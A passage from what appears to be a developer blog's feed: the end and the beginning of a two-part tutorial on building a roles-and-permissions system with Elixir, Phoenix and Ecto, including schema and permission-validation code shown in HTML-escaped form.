&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;restrict&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_data_scope&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;do: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Repo&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;handlers &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Restrictions.Address&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# Other restrictions&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# Other functions&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;restrict&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;data_scope&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Enum&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;reduce&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;handlers&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;fn&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;handler&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;acc&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;handler&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;restrict&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;acc&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;data_scope&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This way, you can loop through every handler and restrict the query specifically for the schema of the handler. A setup like this makes it easy to add or remove restrictions.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;This concludes the second and last part of the &lt;code&gt;RAP&lt;/code&gt; mini-series! I hope you enjoyed the articles! Thanks again to my dear colleagues &lt;a href=&quot;https://twitter.com/lucasmazza&quot;&gt;Lucas&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/vrcca&quot;&gt;Vitor&lt;/a&gt;, and &lt;a href=&quot;https://twitter.com/csilva_antonio&quot;&gt;Antonio&lt;/a&gt; for their brilliant work and support. If you have questions or comments, let&apos;s discuss them on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt;. Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post. If you found this topic interesting, here are some references for further reading:&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/build-a-rap-for-phoenix-part-2"/>
    <id>https://peterullrich.com/build-a-rap-for-phoenix-part-2</id>
    <title>Build a Roles and Permissions System for Phoenix - Part 2</title>
    <updated>2022-12-05T08:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Hey folks, before we begin:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;Salespeople can be persistent, can&amp;#39;t they?
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;The other day, one tried to sell me a coffin.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;I told him that&amp;#39;s the last thing I need!
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Anyways. Today, we&apos;ll look into how to set up a basic roles and permissions (RAP) system with Phoenix and Ecto. I got this idea from my dear ex-colleague &lt;a href=&quot;https://twitter.com/lucasmazza&quot;&gt;Lucas&lt;/a&gt; and my current colleagues &lt;a href=&quot;https://twitter.com/vrcca&quot;&gt;Vitor&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/csilva_antonio&quot;&gt;Antonio&lt;/a&gt;, who built the backend part of our RAP system here at &lt;a href=&quot;https://remote.com&quot;&gt;Remote&lt;/a&gt;. Their work was pretty brilliant and I wanted to share the basic building blocks of the system they implemented. If you like my posts, maybe consider working with me since my team &lt;a href=&quot;https://boards.greenhouse.io/remotecom&quot;&gt;is hiring&lt;/a&gt; :) Let&apos;s get started.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#whats-a-rap&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;whats-a-rap&quot;&gt;&lt;/a&gt;What&apos;s a RAP?&lt;/h2&gt;
&lt;p&gt;A role and permission system controls which user can see what data based on the user&apos;s role and the role&apos;s permissions. For example, a user with the &lt;code&gt;Invoice Admin&lt;/code&gt; role can see invoices and basic info about an invoiced company. But they can&apos;t see the addresses of the company&apos;s employees. On the other hand, a user with the &lt;code&gt;Customer Support&lt;/code&gt; role can see the addresses of the company&apos;s employees, but can&apos;t see the company&apos;s invoices. You get the point.&lt;/p&gt;
&lt;p&gt;Building a RAP is inevitable once your company grew to a certain size. The more people you employ, the higher the chance that having access to everyone&apos;s data might be abused. It is also a security risk because an attacker can target &lt;strong&gt;any&lt;/strong&gt; of your users. Once a user is compromised, the attacker gains access to all your data, often without the knowledge of your user. To reduce the attack surface, you usually limit everyone&apos;s access to the utmost necessary, which is called the &lt;strong&gt;Principle of Least Privilege&lt;/strong&gt;. Now, if a user is compromised, the attacker gains access only to a small part of your data. Having a RAP in place also becomes mandatory once you have to comply with privacy laws like the &lt;a href=&quot;https://formiti.com/gdpr-access-controls-which-one-is-right-for-you/&quot;&gt;GDPR&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#what-does-a-rap-do&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;what-does-a-rap-do&quot;&gt;&lt;/a&gt;What does a RAP do?&lt;/h2&gt;
&lt;p&gt;Our RAP will have two functions: &lt;code&gt;Access Control&lt;/code&gt; and &lt;code&gt;Query Restriction&lt;/code&gt;. Access Control is a basic &lt;code&gt;Is the user allowed to perform that action on this resource?&lt;/code&gt; validation. If yes, we let the request pass. If not, then we block the request. For example, an &lt;code&gt;Invoice Admin&lt;/code&gt; is allowed to &lt;code&gt;read invoices&lt;/code&gt; whereas a &lt;code&gt;Customer Support Employee&lt;/code&gt; isn&apos;t. But whereas a &lt;code&gt;Customer Support Employee&lt;/code&gt; is allowed to &lt;code&gt;read addresses&lt;/code&gt;, they can&apos;t &lt;code&gt;delete&lt;/code&gt; them. A &lt;code&gt;Customer Support Admin&lt;/code&gt;, however, is allowed to both &lt;code&gt;read&lt;/code&gt; and &lt;code&gt;delete&lt;/code&gt; addresses. So, access control verifies the user&apos;s general &quot;access&quot; to a resource, but also the action that a user wants to perform on the resource.&lt;/p&gt;
&lt;p&gt;Query Restriction is a bit more complicated. A user might have permission to access a resource but shouldn&apos;t see &lt;strong&gt;all&lt;/strong&gt; the data related to that resource. Imagine that you build a payroll service and store the salaries of internal and external employees in the same table. Internal employees need to see the salaries of external employees to do customer support. But you don&apos;t want them to see the salaries of their colleagues maybe. So, although an internal employee has access to the salary resource, they should only see the external salaries in the table. Our RAP should filter out the data belonging to internal employees automatically.&lt;/p&gt;
&lt;p&gt;This blog post covers the first function, &lt;code&gt;Access Control&lt;/code&gt;. I&apos;ll cover the second function, &lt;code&gt;Query Restriction&lt;/code&gt;, in a later blog post. But now, let&apos;s start building!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#set-up-the-rap&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;set-up-the-rap&quot;&gt;&lt;/a&gt;Set up the RAP&lt;/h2&gt;
&lt;p&gt;Our RAP will have three parts: The user, the role, and permissions. We will store the permissions as JSON-map on the role and user schemas instead of creating a separate database schema for them. This saves us from preloading a long list of permissions whenever a user makes a request, but feel free to implement it differently. Let&apos;s have a look at the &lt;code&gt;User&lt;/code&gt; schema:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;RAP.User&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Schema&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Changeset&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;schema&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;users&quot;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;has_one&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:address&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;RAP.Address&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;belongs_to&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:role&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;RAP.Role&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;field&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:custom_permissions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:map&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;default: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;timestamps&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;doc&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;false&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;changeset&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;cast&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:role_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:custom_permissions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;validate_required&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:role_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;RAP.Permissions&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;validate_permissions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:custom_permissions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Our &lt;code&gt;User&lt;/code&gt; schema has an &lt;code&gt;address&lt;/code&gt; and two RAP-related fields, the &lt;code&gt;role&lt;/code&gt; and &lt;code&gt;custom_permissions&lt;/code&gt;. A &lt;code&gt;role&lt;/code&gt; is a group of permissions that we can define once and then assign to multiple users. Roles are good for grouping and assigning multiple permissions at once, but sometimes they are too static.&lt;/p&gt;
&lt;p&gt;What if a user needs just one more permission to do their job? If you create a special role for that one user you might end up with special roles like &lt;code&gt;Tony from Accounting Special Role DONT TOUCH Final Final 2&lt;/code&gt;. That doesn&apos;t seem right. Instead, you could assign individual permissions directly to the user as &lt;code&gt;custom permissions&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This way, Tony can have the role of an &lt;code&gt;Accounting Admin&lt;/code&gt;, but also have that special permission he needs to do his job better. Be aware that more flexibility also comes with more complexity and potential problems. What if nobody remembers anymore why Tony from Accounting has all these specific permissions? What if an attacker gets access to his account? What if people start assigning permissions directly instead of using roles? You see, many things can go wrong. My advice would be to start with &lt;code&gt;roles&lt;/code&gt; only and maybe extend to custom permissions once enough people requested it. But let&apos;s move back to our &lt;code&gt;User&lt;/code&gt; schema now.&lt;/p&gt;
&lt;p&gt;Note the call to &lt;code&gt;RAP.Permissions.validate_permissions/2&lt;/code&gt; in our &lt;code&gt;changeset&lt;/code&gt;. When we set custom permissions on a user, we want to make sure that the permissions are valid and in the correct format. Our &lt;code&gt;Permissions&lt;/code&gt; module will check that for us. Let&apos;s have a look at it next:&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;RAP.Permissions&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Changeset&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;all&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;      &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;invoices&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;create&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;read&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;update&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;delete&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;      &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;addresses&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;read&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;update&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;delete&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;validate_permissions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;changeset&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;field&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;validate_change&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;changeset&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;field&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;fn&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_field&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;permissions&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;permissions&lt;/span&gt;
